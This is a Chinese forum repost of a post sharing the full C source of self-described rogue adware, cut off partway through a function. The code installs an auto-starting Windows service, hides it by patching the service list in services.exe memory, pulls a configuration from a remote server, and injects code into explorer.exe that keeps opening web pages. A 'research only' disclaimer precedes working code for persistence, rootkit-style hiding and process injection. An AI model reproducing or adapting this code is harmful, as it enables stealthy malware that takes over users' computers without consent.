• 设为首页
  • 收藏本站
  • 积分充值
  • VIP赞助
  • 手机版
  • 微博
  • 微信
    微信公众号 添加方式:
    1:搜索微信号(888888
    2:扫描左侧二维码
  • 快捷导航
    福建二哥 门户 查看主题

    弹窗口的流氓软件核心代码

    发布者: 荣9319 | 发布时间: 2025-6-27 16:22| 查看数: 127| 评论数: 0|帖子模式

    ps:请勿用于非法用途,仅供技术研究之用。
    by:yunshu
    这个东西的主要功能就是去网上一个URL读取配置文件,拿到需要弹出的窗口以及周期时间,然后开始弹……程序安装成服务,并设置为自动启动。启动之后写入一段代码到explorer.exe进程中,也就是这里在弹网页,然后将服务停止。
    我写的代码没什么技术含量,唯一的是使用了我们team的zzzevazzz的隐藏服务代码,最开始他是发在ph4nt0m的核心区的。不过他已经在自己的blog写过,所以我发出来也没问题了。
    这个是主函数,安装,读取配置,注入代码用的。
    代码:
    /**************************************************************************************************
    * 1. 给XX作的流氓软件
    * 2. 隐藏服务是copy的EVA的代码,修改Services.exe进程内存。
    **************************************************************************************************/
    #include <stdio.h>
    #include <stdlib.h>
    #include <Winsock2.h>
    #include <windows.h>
    #include <Tlhelp32.h>
    // 是否记录日志
    //#define DEBUG
    #ifdef DEBUG
    #define DEBUG_LOG "c:\debug.txt"
    // 日志记录函数
    void LogToFile( WCHAR * );
    #endif
    #include "ControlService.h"
    #include "HideService.h"
    #include "CustomFunction.h"
    #pragma comment (lib, "Advapi32.lib")
    #pragma comment (lib, "Shell32.lib")
    #pragma comment (lib, "ws2_32.lib")
    #pragma comment (lib, "User32.lib")
    #define REMOTE_FUNC_LENGTH 1024 * 10 // 拷贝的长度
    #define TARGET_PROCESS L"explorer.exe" // 要注入代码的目标进程
    #define CONFIG_HOST "www.icylife.net" // 读取配置信息的服务器
    #define CONFIG_PATH "/url.txt" // 配置信息在配置服务器的路径
    #define IE_PATH "C:\Program Files\Internet Explorer\iexplore.exe"
    #define DEFAULT_URL "http://www.he100.com" // 默认弹出的窗口
    #define DEFAULT_SLEEP_TIME 30 * 60 * 1000 // 默认弹出窗口的间隔时间
    // 宏,转换字符串为unicode
    #define MULTI_TO_WIDE( x, y ) MultiByteToWideChar( CP_ACP, MB_PRECOMPOSED,y,-1,x,_MAX_PATH );
    // 弹出窗口之间的间隔时间
    int sleep_time;
    // 弹出的url地址
    char url_path[512] = { 0 };
    /**************************************************************************************************
    * 函数原形
    **************************************************************************************************/
    void ServiceMain( DWORD, char **); //服务入口
    BOOL SetDebugPrivilege( ); //获取debug权限
    DWORD GetProcessIdByName(WCHAR * ); //获取进程的PID
    void InjectCode( ); //写代码到远程进程
    void GetConfig( ); //更新配置,获取要弹出的地址和弹出间隔时间
    /**************************************************************************************************
    * 程序入口,主函数
    **************************************************************************************************/
    int WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow )
    {
    WCHAR filePath[MAX_PATH] = { 0 }; //程序本身路径
    SERVICE_TABLE_ENTRY serviceTable[2];
    serviceTable[0].lpServiceName = SERVICE_NAME;
    serviceTable[0].lpServiceProc = ( LPSERVICE_MAIN_FUNCTION )ServiceMain;
    serviceTable[1].lpServiceName = NULL;
    serviceTable[1].lpServiceProc = NULL;
    GetModuleFileName( NULL, filePath, MAX_PATH );
    // 如果服务未安装,安装
    if( !ServiceExists( filePath ) )
    {
    if( ServiceInstall( filePath ) != TRUE )
    {
    return -1;
    }
    else
    {
    return 0;
    }
    }
    if( !StartServiceCtrlDispatcher( serviceTable ) )
    {
    #ifdef DEBUG
    WCHAR tmp[256] = { 0 };
    wsprintf( tmp, L"Main StartServiceCtrlDispatcher error: %d\n", GetLastError() );
    LogToFile( tmp );
    #endif
    return -1;
    }
    return 0;
    }
    /**************************************************************************************************
    * 服务入口
    **************************************************************************************************/
    void ServiceMain( DWORD argc, char *argv[] )
    {
    serviceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
    serviceStatus.dwCurrentState = SERVICE_START_PENDING;
    serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP;
    serviceStatus.dwWin32ExitCode = 0;
    serviceStatus.dwServiceSpecificExitCode = 0;
    serviceStatus.dwCheckPoint = 0;
    serviceStatus.dwWaitHint = 0;
    #ifdef DEBUG
    LogToFile( L"ServiceMain: Try to register service\n" );
    #endif
    hServiceStatus = RegisterServiceCtrlHandler( SERVICE_NAME, (LPHANDLER_FUNCTION)ServiceControl );
    if( hServiceStatus == (SERVICE_STATUS_HANDLE)0 )
    {
    #ifdef DEBUG
    WCHAR tmp[256] = { 0 };
    wsprintf( tmp, L"ServiceMain: Register service error: %d\n", GetLastError() );
    LogToFile( tmp );
    #endif
    return;
    }
    serviceStatus.dwCurrentState = SERVICE_RUNNING;
    serviceStatus.dwCheckPoint = 0;
    serviceStatus.dwWaitHint = 0;
    if( !SetServiceStatus( hServiceStatus, &serviceStatus ) )
    {
    #ifdef DEBUG
    WCHAR tmp[256] = { 0 };
    swprintf( tmp, L"ServiceMain: Start service error: %d\n", GetLastError() );
    LogToFile( tmp );
    #endif
    return;
    }
    #ifdef DEBUG
    LogToFile( L"ServiceMain: Start service ok\n" );
    #endif
    // 隐藏服务
    HideService( SERVICE_NAME );
    // 从网络读取配置
    GetConfig( );
    // 注入代码
    InjectCode( );
    serviceStatus.dwCurrentState = SERVICE_STOPPED;
    if( !SetServiceStatus( hServiceStatus, &serviceStatus) )
    {
    #ifdef DEBUG
    WCHAR tmp[256] = { 0 };
    wsprintf( tmp, L"ServiceMain: Stop service error: %d\n", GetLastError() );
    LogToFile( tmp );
    #endif
    }
    #ifdef DEBUG
    LogToFile( L"Stop service in main.\n" );
    #endif
    #ifdef DEBUG
    LogToFile( L"ServiceMain Done.\n" );
    #endif
    return;
    }
    void InjectCode( )
    {
    if( ! SetDebugPrivilege() )
    {
    #ifdef DEBUG
    LogToFile( L"Set Debug Privileges error.\n" );
    #endif
    return;
    }
    DWORD dwPID = -1;
    while( 1 )
    {
    dwPID = GetProcessIdByName( TARGET_PROCESS );
    if( -1 != dwPID )
    {
    #ifdef DEBUG
    WCHAR tmp[256] = { 0 };
    wsprintf( tmp, L"Target process id is %d\n", dwPID );
    LogToFile( tmp );
    #endif
    break;
    }
    #ifdef DEBUG
    LogToFile( L"Target process not found, sleep and continue.\n" );
    #endif
    Sleep( 30 * 1000 );
    }
    Sleep( 2 * 60 * 1000 );
    // 打开进程
    HANDLE hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, dwPID );
    if( ! hProcess )
    {
    #ifdef DEBUG
    LogToFile( L"OpenProcess error.\n" );
    #endif
    return;
    }
    //计算LoadLibraryA和GetProcAddress的入口地址,这两个函数由kernel32.dll导出,在各进程中不变
    Arguments arguments;
    memset( (void *)&arguments, 0, sizeof(Arguments) );
    HMODULE hKernel = GetModuleHandleA( "kernel32" );
    if( hKernel == NULL )
    {
    #ifdef DEBUG
    LogToFile( L"GetModuleHandle kernel32.dll error.\n" );
    #endif
    return;
    }
    arguments.MyLoadLibrary = GetProcAddress( hKernel, "LoadLibraryA" );
    arguments.MyGetAddress = GetProcAddress( hKernel, "GetProcAddress" );
    strcpy( arguments.MyKernelDll, "kernel32.dll" );
    strcpy( arguments.MyProgram, IE_PATH );
    strcpy( arguments.MyShellDll, "Shell32.dll" );
    strcpy( arguments.MyShellExecute, "ShellExecuteA" );
    strcpy( arguments.MyUrl, url_path );
    strcpy( arguments.MyZeroMemory, "RtlZeroMemory" );
    arguments.SleepTime = sleep_time;
    // 在远程进程中分配内存存放参数,可写权限
    Arguments *remote_agrument = (Arguments *)VirtualAllocEx( hProcess,
    0,
    sizeof(Arguments),
    MEM_COMMIT,
    PAGE_READWRITE );
    if( !remote_agrument )
    {
    #ifdef DEBUG
    LogToFile( L"VirtualAllocEx for arguments error.\n" );
    #endif
    return;
    }
    #ifdef DEBUG
    WCHAR tmp[256] = { 0 };
    wsprintf( tmp, L"Remote Arguments' addr: 0x%08x\n", (DWORD)remote_agrument );
    LogToFile( tmp );
    #endif
    // 将参数写入远程进程内存
    int bytes_write;
    if( !WriteProcessMemory( hProcess, (LPVOID)remote_agrument, (LPVOID)&arguments, sizeof(Arguments), (SIZE_T *)&bytes_write) )
    {
    #ifdef DEBUG
    LogToFile( L"WriteProcessMemory for arguments error.\n" );
    #endif
    return;
    }
    // 在远程进程中分配内存存放代码,可执行权限
    LPVOID remote_func = VirtualAllocEx( hProcess,
    0,
    REMOTE_FUNC_LENGTH,
    MEM_COMMIT,
    PAGE_EXECUTE_READWRITE );
    if( !remote_func )
    {
    #ifdef DEBUG
    LogToFile( L"VirtualAllocEx for function error.\n" );
    #endif
    return;
    }
    #ifdef DEBUG
    memset( tmp, 0, sizeof(tmp) );
    wsprintf( tmp, L"Remote Function Address: 0x%08x\n", remote_func );
    LogToFile( tmp );
    #endif
    // 将代码写入远程进程内存
    if( !WriteProcessMemory( hProcess, (LPVOID)remote_func, (LPVOID)&CustomFunction, REMOTE_FUNC_LENGTH, (SIZE_T *)&bytes_write) )
    {
    #ifdef DEBUG
    LogToFile( L"WriteProcessMemory for function error.\n" );
    #endif
    return;
    }
    #ifdef DEBUG
    memset( tmp, 0, sizeof(tmp) );
    wsprintf( tmp, L"WriteProcessMemory for function %d bytes\n", bytes_write );
    LogToFile( tmp );
    #endif
    HANDLE remote_thread = CreateRemoteThread( hProcess, 0, 0, (LPTHREAD_START_ROUTINE)remote_func, remote_agrument, 0, 0 );
    if ( !remote_thread )
    {
    #ifdef DEBUG
    LogToFile( L"CreateRemoteThread for function error.\n" );
    #endif
    return;
    }
    #ifdef DEBUG
    LogToFile( L"CreateRemoteThread for function ok\n" );
    #endif
    /*
    WaitForSingleObject( remote_thread, INFINITE );
    if( NULL != remote_func )
    {
    VirtualFreeEx( hProcess, remote_func, REMOTE_FUNC_LENGTH, MEM_RELEASE );
    #ifdef DEBUG
    LogToFile( L"VirtualFreeEx for remote_func.\n" );
    #endif
    }
    if( NULL != remote_agrument )
    {
    VirtualFreeEx( hProcess, remote_agrument, sizeof (Arguments), MEM_RELEASE);
    #ifdef DEBUG
    LogToFile( L"VirtualFreeEx for remote_agrument.\n" );
    #endif
    }
    if( NULL != remote_thread )
    {
    CloseHandle( remote_thread );
    #ifdef DEBUG
    LogToFile( L"CloseHandle for remote_thread.\n" );
    #endif
    }
    if( NULL != hProcess )
    {
    CloseHandle( hProcess );
    #ifdef DEBUG
    LogToFile( L"CloseHandle for hProcess.\n" );
    #endif
    }
    */
    return;
    }
    void GetConfig( )
    {
    #ifdef DEBUG
    WCHAR tmp[256] = { 0 };
    #endif
    WSAData wsa;
    struct sockaddr_in sin;
    memset( &sin, 0, sizeof(struct sockaddr_in) );
    if( WSAStartup( 0x0202, &wsa ) != 0 )
    {
    #ifdef DEBUG
    memset( tmp, 0, sizeof(tmp) );
    wsprintf( tmp, L"WSAStartup error: %d\n", GetLastError() );
    LogToFile( tmp );
    #endif
    goto getconfig_error;
    }
    struct hostent *phost = gethostbyname( CONFIG_HOST );
    if( phost == NULL )
    {
    #ifdef DEBUG
    memset( tmp, 0, sizeof(tmp) );
    wsprintf( tmp, L"Resolv config host name error: %d\n", GetLastError() );
    LogToFile( tmp );
    #endif
    WSACleanup( );
    goto getconfig_error;
    }
    memcpy( &sin.sin_addr , phost->h_addr_list[0] , phost->h_length );
    sin.sin_family = AF_INET;
    sin.sin_port = htons( 80 );
    #ifdef DEBUG
    memset( tmp, 0, sizeof(tmp) );
    WCHAR ip[256] = { 0 };
    MULTI_TO_WIDE( ip, inet_ntoa( sin.sin_addr ));
    wsprintf( tmp, L"Resolv config host name ok: %s\n",ip );
    LogToFile( tmp );
    #endif
    SOCKET sock = socket( AF_INET , SOCK_STREAM , 0 );
    if( sock == INVALID_SOCKET )
    {
    #ifdef DEBUG
    memset( tmp, 0, sizeof(tmp) );
    wsprintf( tmp, L"Connect to %s:%s error: \n", ip, 80, GetLastError() );
    LogToFile( tmp );
    #endif
    WSACleanup( );
    goto getconfig_error;
    }
    int ret = connect( sock, (struct sockaddr *)&sin, sizeof(struct sockaddr_in) );
    if( SOCKET_ERROR == ret )
    {
    #ifdef DEBUG
    memset( tmp, 0, sizeof(tmp) );
    wsprintf( tmp, L"Connect error: %d\n", GetLastError() );
    LogToFile( tmp );
    #endif
    closesocket( sock );
    WSACleanup( );
    goto getconfig_error;
    }
    char send_buff[512] = { 0 };
    sprintf( send_buff, "GET %s HTTP/1.1\r\nHost: %s\r\nAccept: */*\r\n\r\n", CONFIG_PATH, CONFIG_HOST );
    #ifdef DEBUG
    memset( tmp, 0, sizeof(tmp) );
    WCHAR tmp2[256] = { 0 };
    MULTI_TO_WIDE( tmp2, send_buff );
    wsprintf( tmp, L"Send request to get config:\n %s\n", tmp2 );
    LogToFile( tmp );
    #endif
    ret = send( sock, send_buff, strlen(send_buff), 0 );
    if( SOCKET_ERROR == ret )
    {
    #ifdef DEBUG
    memset( tmp, 0, sizeof(tmp) );
    wsprintf( tmp, L"Send request error: %d\n", GetLastError() );
    LogToFile( tmp );
    #endif
    closesocket( sock );
    WSACleanup( );
    goto getconfig_error;
    }
    #ifdef DEBUG
    LogToFile( L"Send request ok!\n" );
    #endif
    char recv_buff[1024] = { 0 };
    recv( sock, recv_buff, 1000, 0 );
    if( !recv_buff )
    {
    closesocket( sock );
    WSACleanup( );
    goto getconfig_error;
    }
    closesocket( sock );
    WSACleanup( );
    char *content = strstr( recv_buff, "\r\n\r\n" );
    if( !content )
    {
    goto getconfig_error;
    }
    content += strlen("\r\n\r\n");
    #ifdef DEBUG
    memset( tmp, 0, sizeof(tmp) );
    WCHAR c[256] = { 0 };
    MULTI_TO_WIDE( c, content );
    wsprintf( tmp, L"Config content is:\n%s\n", c );
    LogToFile( tmp );
    #endif
    char *split_flag = strstr( content, "|" );
    if( !split_flag )
    {
    goto getconfig_error;
    }
    char tmp_time[32] = { 0 };
    char tmp_url[512] = { 0 };
    if( split_flag - content > 32 )
    {
    sleep_time = DEFAULT_SLEEP_TIME;
    }
    else
    {
    strncpy( tmp_time, content, split_flag - content );
    sleep_time = atoi( tmp_time );
    }
    if( strlen( split_flag ) >= 512 )
    {
    strcpy( url_path, DEFAULT_URL );
    }
    else
    {
    strcpy( url_path, split_flag + 1 );
    }
    return;
    getconfig_error:
    sleep_time = DEFAULT_SLEEP_TIME;
    strcpy( url_path, DEFAULT_URL );
    return;
    }
    /**************************************************************************************************
    * 记录日志函数
    **************************************************************************************************/
    #ifdef DEBUG
    void LogToFile( WCHAR *str )
    {
    FILE *fp;
    fp = fopen( DEBUG_LOG, "a" );
    fwprintf( fp, L"%s\n", str );
    fclose( fp );
    }
    #endif
    这个是隐藏服务用的,修改了services.exe文件,可能有一定的危险性。
    代码:
    // yunshu(pst) Copy from zzzevazzz(pst)'s code
    // 几个Undocument的结构
    typedef struct _SC_SERVICE_PROCESS SC_SERVICE_PROCESS, *PSC_SERVICE_PROCESS;
    typedef struct _SC_DEPEND_SERVICE SC_DEPEND_SERVICE, *PSC_DEPEND_SERVICE;
    typedef struct _SC_SERVICE_RECORD SC_SERVICE_RECORD, *PSC_SERVICE_RECORD;
    typedef struct _SC_SERVICE_PROCESS
    {
    PSC_SERVICE_PROCESS Previous;
    PSC_SERVICE_PROCESS Next;
    WCHAR *ImagePath;
    DWORD Pid;
    DWORD NumberOfServices;
    // ...
    } SC_SERVICE_PROCESS, *PSC_SERVICE_PROCESS;
    typedef struct _SC_DEPEND_SERVICE
    {
    PSC_DEPEND_SERVICE Next;
    DWORD Unknow;
    PSC_SERVICE_RECORD Service;
    // ...
    } SC_DEPEND_SERVICE, *PSC_DEPEND_SERVICE;
    typedef struct _SC_SERVICE_RECORD
    {
    PSC_SERVICE_RECORD Previous;
    PSC_SERVICE_RECORD Next;
    WCHAR *ServiceName;
    WCHAR *DisplayName;
    DWORD Index;
    DWORD Unknow0;
    DWORD sErv;
    DWORD ControlCount;
    DWORD Unknow1;
    PSC_SERVICE_PROCESS Process;
    SERVICE_STATUS Status;
    DWORD StartType;
    DWORD ErrorControl;
    DWORD TagId;
    PSC_DEPEND_SERVICE DependOn;
    PSC_DEPEND_SERVICE Depended;
    // ...
    } SC_SERVICE_RECORD, *PSC_SERVICE_RECORD;
    BOOL SetDebugPrivilege()
    {
    BOOL bRet = FALSE;
    HANDLE hToken = NULL;
    LUID luid;
    TOKEN_PRIVILEGES tp;
    if (OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken) &&
    LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
    {
    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    bRet = AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
    }
    if (hToken) CloseHandle(hToken);
    return bRet;
    }
    DWORD GetProcessIdByName(WCHAR *Name)
    {
    BOOL bRet = FALSE;
    HANDLE hProcessSnap = NULL;
    PROCESSENTRY32 pe32 = { 0 };
    DWORD Pid = -1;
    hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (INVALID_HANDLE_VALUE == hProcessSnap) return -1;
    pe32.dwSize = sizeof(PROCESSENTRY32);
    if (Process32First(hProcessSnap, &pe32))
    {
    do
    {
    if ( !_wcsicmp(pe32.szExeFile, Name ) )
    {
    Pid = pe32.th32ProcessID;
    break;
    }
    }
    while (Process32Next(hProcessSnap, &pe32));
    }
    CloseHandle(hProcessSnap);
    return Pid;
    }
    // 修改内存属性为指定值
    void ProtectWriteDword(HANDLE hProcess, DWORD *Addr, DWORD Value)
    {
    MEMORY_BASIC_INFORMATION mbi;
    DWORD dwOldProtect, dwWritten;
    VirtualQueryEx(hProcess, Addr, &mbi, sizeof(mbi));
    VirtualProtectEx(hProcess, mbi.BaseAddress, mbi.RegionSize, PAGE_READWRITE, &mbi.Protect);
    WriteProcessMemory(hProcess, Addr, &Value, sizeof(DWORD), &dwWritten);
    VirtualProtectEx(hProcess, mbi.BaseAddress, mbi.RegionSize, mbi.Protect, &dwOldProtect);
    }
    //寻找服务链表
    PSC_SERVICE_RECORD FindFirstServiceRecord(HANDLE hProcess)
    {
    WCHAR FileName[MAX_PATH+1];
    HANDLE hFile, hFileMap;
    UCHAR * pMap;
    DWORD dwSize, dwSizeHigh, i, dwRead;
    SC_SERVICE_RECORD SvcRd, *pSvcRd, *pRet = NULL;
    GetSystemDirectory( FileName, MAX_PATH );
    wcscat( FileName, L"\Services.exe");
    hFile = CreateFile(FileName, GENERIC_READ, FILE_SHARE_READ,
    NULL, OPEN_EXISTING, 0, NULL);
    if (INVALID_HANDLE_VALUE == hFile) return NULL;
    dwSizeHigh = 0;
    dwSize = GetFileSize(hFile, &dwSizeHigh);
    hFileMap = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
    if (NULL == hFileMap) return NULL;
    pMap = (UCHAR*)MapViewOfFile(hFileMap, FILE_MAP_READ, 0, 0, 0);
    if (NULL == pMap) return NULL;
    dwSize -= 12;
    for (i=0; i<dwSize; ++i)
    {
    // 搜索services!ScGetServiceDatabase特征代码
    if (*(DWORD*)(pMap+i) == 0xa1909090 &&
    *(DWORD*)(pMap+i+8) == 0x909090c3)
    {
    #ifdef DEBUG
    WCHAR tmpBuffer[256] = { 0 };
    wsprintf( tmpBuffer, L"map is 0x%08x\n", (DWORD *)(pMap+i) );
    LogToFile( tmpBuffer );
    #endif
    if (ReadProcessMemory(hProcess, *(PVOID*)(pMap+i+4), &pSvcRd, sizeof(PVOID), &dwRead) &&
    ReadProcessMemory(hProcess, pSvcRd, &SvcRd, sizeof(SvcRd), &dwRead) &&
    SvcRd.sErv == 'vrEs') // ServiceRecord结构的特征
    {
    pRet = pSvcRd;
    #ifdef DEBUG
    WCHAR tmpBuffer[256] = { 0 };
    wsprintf( tmpBuffer, L"pRet is 0x%08x\n", (DWORD *)(pSvcRd) );
    LogToFile( tmpBuffer );
    #endif
    break;
    }
    }
    }
    UnmapViewOfFile(pMap);
    CloseHandle(hFileMap);
    CloseHandle(hFile);
    //printf( "addr: 0x%08x\n", (DWORD *)pRet );
    return pRet;
    }
    // 隐藏服务
    BOOL HideService( WCHAR *Name )
    {
    DWORD Pid;
    HANDLE hProcess;
    SC_SERVICE_RECORD SvcRd, *pSvcRd;
    DWORD dwRead, dwNameSize;
    WCHAR SvcName[MAX_PATH] = { 0 };
    dwNameSize = ( wcslen(Name) + 1 ) * sizeof(WCHAR);
    if (dwNameSize > sizeof(SvcName)) return FALSE;
    Pid = GetProcessIdByName( TEXT("Services.exe") );
    #ifdef DEBUG
    WCHAR tmpBuffer1[256] = { 0 };
    wsprintf( tmpBuffer1, L"id is %d\n", Pid );
    LogToFile( tmpBuffer1 );
    #endif
    if (Pid == -1) return FALSE;
    if( ! SetDebugPrivilege() ) return FALSE;
    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Pid);
    if (NULL == hProcess) return FALSE;
    pSvcRd = FindFirstServiceRecord(hProcess);
    if (NULL == pSvcRd)
    {
    #ifdef DEBUG
    LogToFile( L"Can't Find ServiceDatabase.\n" );
    #endif
    CloseHandle(hProcess);
    return FALSE;
    }
    do
    {
    if (ReadProcessMemory(hProcess, pSvcRd, &SvcRd, sizeof(SvcRd), &dwRead) &&
    ReadProcessMemory(hProcess, SvcRd.ServiceName, SvcName, dwNameSize, &dwRead))
    {
    // 匹配服务名
    if ( 0 == _wcsicmp(SvcName, Name) )
    {
    // 从链表中断开(一般来说ServiceRecord是可写的,但还是先改保护属性以防万一)
    ProtectWriteDword(hProcess, (DWORD *)SvcRd.Previous+1, (DWORD)SvcRd.Next);
    ProtectWriteDword(hProcess, (DWORD *)SvcRd.Next, (DWORD)SvcRd.Previous);
    #ifdef DEBUG
    WCHAR tmpBuffer2[256] = { 0 };
    wsprintf( tmpBuffer2, L"The Service \"%s\" Is Hidden Successfully.\n", Name );
    LogToFile( tmpBuffer1 );
    #endif
    CloseHandle(hProcess);
    return TRUE;
    }
    }
    else
    {
    break;
    }
    }
    while (pSvcRd = SvcRd.Next);
    if( NULL != hProcess )
    {
    CloseHandle(hProcess);
    }
    return FALSE;
    }
    这个是注入到explorer.exe进程中的代码,大部分参数是写内存写进去的,有少部分实在懒得搞了,用了一点汇编。
    typedef struct _Arguments
    {
    char MyUrl[512];
    char MyProgram[512];
    FARPROC MyLoadLibrary;
    FARPROC MyGetAddress;
    char MyKernelDll[32];
    char MyShellDll[32];
    char MyZeroMemory[32];
    char MyShellExecute[32];
    DWORD SleepTime;
    }Arguments;
    /**************************************************************************************************
    * WINAPI函数原形
    **************************************************************************************************/
    typedef HMODULE (__stdcall *LOADLIBRARYA)( IN char* lpFileName );
    typedef FARPROC (__stdcall *GETPROCADDRESS)( IN HMODULE hModule, IN char* lpProcName );
    typedef void (__stdcall *ZEROMEMORY)( IN PVOID Destination, IN SIZE_T Length );
    void __stdcall CustomFunction( LPVOID my_arguments )
    {
    Arguments *func_args = (Arguments *)my_arguments;
    LOADLIBRARYA LoadLibraryA = (LOADLIBRARYA)func_args->MyLoadLibrary;
    GETPROCADDRESS GetProcAddress = (GETPROCADDRESS)func_args->MyGetAddress;
    HMODULE h_kernel = LoadLibraryA( func_args->MyKernelDll );
    HMODULE h_shell = LoadLibraryA( func_args->MyShellDll );
    ZEROMEMORY ZeroMemory = (ZEROMEMORY)GetProcAddress( h_kernel, func_args->MyZeroMemory );
    DWORD MyShellExecuteA = (DWORD)GetProcAddress( h_shell, func_args->MyShellExecute );
    DWORD MySleep;
    DWORD sleep_time = func_args->SleepTime;
    __asm
    {
    push eax
    push esp
    sub esp, 6
    mov byte ptr [esp], 'S'
    mov byte ptr [esp+1], 'l'
    mov byte ptr [esp+2], 'e'
    mov byte ptr [esp+3], 'e'
    mov byte ptr [esp+4], 'p'
    mov byte ptr [esp+5], ''
    lea eax, [esp]
    push eax
    push h_kernel
    call GetProcAddress
    mov MySleep, eax
    add esp, 6
    pop esp
    pop eax
    }
    while( 1 )
    {
    __asm
    {
    push eax
    push esp
    push ecx
    push ebx
    sub esp, 256
    mov byte ptr [esp], 'o'
    mov byte ptr [esp+1], 'p'
    mov byte ptr [esp+2], 'e'
    mov byte ptr [esp+3], 'n'
    mov byte ptr [esp+4], ''
    lea ebx, [esp]
    push SW_SHOWMAXIMIZED
    push 0
    push func_args
    mov ecx, func_args
    add ecx, 200h
    lea eax, [ecx]
    push eax
    push ebx
    push 0
    call MyShellExecuteA
    add esp, 256
    pop ebx
    pop ecx
    pop esp
    pop eax
    push sleep_time
    call MySleep
    }
    }
    }
    这个是控制服务的,正常的服务程序都有的代码,流氓软件应该不接受停止服务请求。
    代码:
    /**************************************************************************************************
    * 全局变量
    **************************************************************************************************/
    #define SERVICE_NAME L"LemonTree"
    #define SERVICE_DESCRIPTION L"LemonTree"
    #define SERVICE_DISPLAY_NAME L"LemonTree"
    SERVICE_STATUS serviceStatus;
    SERVICE_STATUS_HANDLE hServiceStatus;
    BOOL ServiceInstall( WCHAR * ); //安装服务
    BOOL ServiceUnstall( WCHAR * ); //删除服务
    void ServiceControl( DWORD ); //控制服务
    BOOL ServiceExists( WCHAR * ); //判断服务是否存在
    /***********************************************************************************
    * 安装服务
    * 参数:主程序全路径
    * 返回:成功返回TRUE,否则为FALSE
    ***********************************************************************************/
    BOOL ServiceInstall( WCHAR *exeFilePath )
    {
    WCHAR tmpPath[MAX_PATH] = { 0 };
    HKEY key;
    SC_HANDLE serviceMangerHandle = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE );
    if ( serviceMangerHandle == 0 )
    {
    printf( "Install: Open services manager database error: %d\n", GetLastError() );
    return FALSE;
    }
    SC_HANDLE serviceHandle = CreateService
    (
    serviceMangerHandle ,
    SERVICE_NAME ,
    SERVICE_DISPLAY_NAME ,
    SERVICE_ALL_ACCESS ,
    SERVICE_WIN32_OWN_PROCESS ,
    SERVICE_AUTO_START ,
    SERVICE_ERROR_NORMAL ,
    exeFilePath ,
    NULL ,
    NULL ,
    NULL ,
    NULL ,
    NULL
    );
    if ( serviceHandle == 0 )
    {
    printf( "Create service error: %d\n", GetLastError() );
    CloseServiceHandle( serviceMangerHandle );
    return FALSE;
    }
    wcscpy( tmpPath, L"SYSTEM\CurrentControlSet\Services\" );
    wcscat( tmpPath, SERVICE_NAME );
    if( RegOpenKey( HKEY_LOCAL_MACHINE, tmpPath, &key ) != ERROR_SUCCESS )
    {
    printf( "Open key %s error: %d\n", tmpPath, GetLastError() );
    return FALSE;
    }
    RegSetValueEx( key, L"Description", 0, REG_SZ, (BYTE *)SERVICE_DESCRIPTION, wcslen(SERVICE_DESCRIPTION) );
    RegCloseKey(key);
    if( !StartService( serviceHandle, 0, 0 ) )
    {
    printf( "Install service ok, but start it error: %d\n", GetLastError() );
    }
    else
    {
    printf( "Install service ok, start it ok.\n" );
    }
    CloseServiceHandle( serviceHandle );
    CloseServiceHandle( serviceMangerHandle );
    return TRUE;
    }
    /**************************************************************************************************
    * 删除服务
    **************************************************************************************************/
    BOOL ServiceUnstall( WCHAR *serviceName )
    {
    SC_HANDLE scmHandle = OpenSCManager (NULL, NULL, SC_MANAGER_ALL_ACCESS);
    if ( scmHandle == NULL )
    {
    return FALSE;
    }
    SC_HANDLE scHandle = OpenService( scmHandle, serviceName, SERVICE_ALL_ACCESS );
    if( scHandle == NULL )
    {
    CloseServiceHandle( scmHandle );
    return FALSE;
    }
    DeleteService( scHandle );
    CloseServiceHandle( scHandle );
    CloseServiceHandle( scmHandle );
    return TRUE;
    }
    /**************************************************************************************************
    * 服务控制函数
    **************************************************************************************************/
    void ServiceControl( DWORD request )
    {
    #ifdef DEBUG
    LogToFile( L"ServiceControl: Into ServiceControl\n" );
    #endif
    switch ( request )
    {
    case SERVICE_CONTROL_PAUSE:
    serviceStatus.dwCurrentState = SERVICE_PAUSED;
    break;
    case SERVICE_CONTROL_CONTINUE:
    serviceStatus.dwCurrentState = SERVICE_RUNNING;
    break;
    case SERVICE_CONTROL_STOP:
    #ifdef DEBUG
    LogToFile( L"ServiceControl: Try to stop service\n" );
    #endif
    serviceStatus.dwWin32ExitCode = 0;
    serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
    serviceStatus.dwCheckPoint = 0;
    serviceStatus.dwWaitHint = 0;
    break;
    case SERVICE_CONTROL_INTERROGATE:
    break;
    default:
    #ifdef DEBUG
    LogToFile( L"ServiceControl: Error arguments\n" );
    #endif
    break;
    }
    if( !SetServiceStatus( hServiceStatus, &serviceStatus ) )
    {
    #ifdef DEBUG
    WCHAR tmp[256] = { 0 };
    wsprintf( tmp, L"ServiceMain: Control service error: %d\n", GetLastError() );
    LogToFile( tmp );
    #endif
    }
    return;
    }
    BOOL ServiceExists( WCHAR *path )
    {
    WCHAR tmpPath[MAX_PATH] = { 0 };
    HKEY key;
    WCHAR value[512] = { 0 };
    int type = REG_EXPAND_SZ;
    int size = sizeof(value);
    wcscpy( tmpPath, L"SYSTEM\CurrentControlSet\Services\" );
    wcscat( tmpPath, SERVICE_NAME );
    if( RegOpenKeyEx( HKEY_LOCAL_MACHINE, tmpPath, 0, KEY_QUERY_VALUE, &key ) != ERROR_SUCCESS )
    {
    //printf( "RegOpenKeyEx Error: %d\n", GetLastError() );
    return FALSE;
    }
    if( RegQueryValueEx( key, L"ImagePath", NULL, (DWORD *)&type, (BYTE *)value, (DWORD *)&size ) != ERROR_SUCCESS )
    {
    //printf( "RegQueryValueEx Error: %d\n", GetLastError() );
    return FALSE;
    }
    if( key ) RegCloseKey( key );
